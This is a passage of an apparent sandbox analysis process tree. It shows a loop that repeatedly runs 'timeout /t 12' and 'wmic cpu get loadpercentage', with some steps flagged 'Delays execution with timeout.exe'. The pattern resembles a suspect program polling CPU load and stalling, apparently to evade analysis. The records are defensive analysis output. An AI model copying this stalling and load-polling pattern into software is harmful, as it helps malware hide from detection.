C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2340
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4320
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3624
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4352
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4708
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:824
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3740
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1740
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:592
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1012
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3468
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1308
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3620
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4740
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2292
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3456
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4932
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4400
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3620
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3272
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2868
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4464
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3740
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:652
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4728
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:516
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1416
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4476
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4356
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4584
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2388
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1036
-
